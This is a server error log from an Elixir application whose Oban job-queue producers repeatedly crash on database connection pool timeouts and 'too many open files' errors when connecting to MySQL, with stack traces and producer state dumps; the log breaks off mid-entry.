[Sun Sep  6 00:40:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:40:03.240888Z], limit: 20, uuid: "eed3711b-f793-41aa-8f7c-7e8b8d356520", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:03.240893Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.70633>, refresh_timer: #Reference<0.2525715032.1121189889.211884>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:40:03.240667Z], limit: 50, uuid: "0b82e50c-b1e9-4338-ba02-ab46c64ad059", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:03.240672Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.70635>, refresh_timer: #Reference<0.2525715032.1121189889.211883>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:40:03.244438Z], limit: 5, uuid: "0647c560-ad72-4ccc-a88d-20eec76223e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:03.244444Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.70637>, refresh_timer: #Reference<0.2525715032.1099431938.66263>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:40:03.247841Z], limit: 10, uuid: "26558b72-11b8-4242-b000-d6f4cabb620e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:03.247848Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.70636>, refresh_timer: #Reference<0.2525715032.1099431938.66287>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:40:03.241665Z], limit: 3, uuid: "209312f1-889b-4233-b503-6445af84eaa0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:03.241671Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.70638>, refresh_timer: #Reference<0.2525715032.1099431938.66254>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:40:03.240371Z], limit: 5, uuid: "3f80abd4-3cbf-4bae-9245-a6813f0863a0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:03.240380Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.70634>, refresh_timer: #Reference<0.2525715032.1121189889.211880>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:16.291000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:16.865000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:17.642000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:17.644000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:20.716000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:21.398000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:26.017000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:26.330000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:40:15.239788Z], limit: 3, uuid: "03da5073-9fe0-41e5-9bcc-1d43c4af50b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:15.239794Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71016>, refresh_timer: #Reference<0.2525715032.1099431938.66333>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:40:15.238992Z], limit: 5, uuid: "2ef8044c-3b1a-4659-bf46-f061529cf674", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:15.238998Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71015>, refresh_timer: #Reference<0.2525715032.1099431938.66316>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
